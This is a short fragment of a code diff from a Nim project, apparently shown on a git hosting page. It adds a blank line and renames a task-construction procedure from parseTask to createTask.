||||||
unpacker = initUnpacker(decData.toString)
|
unpacker = initUnpacker(decData.toString)
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
import strutils, strformat, times
|
import strutils, strformat, times
|
||||||
|
|
||||||
import ../utils
|
import ../utils
|
||||||
import ../../common/[types, utils, sequence, crypto]
|
import ../../common/[types, utils, sequence, crypto]
|
||||||
|
|
||||||
@@ -72,7 +73,7 @@ proc parseArgument*(argument: Argument, value: string): TaskArg =
|
|||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
||||||
|
|
||||||
# Construct the task payload prefix
|
# Construct the task payload prefix
|
||||||
var task: Task
|
var task: Task
|
||||||
Reference in New Issue
Block a user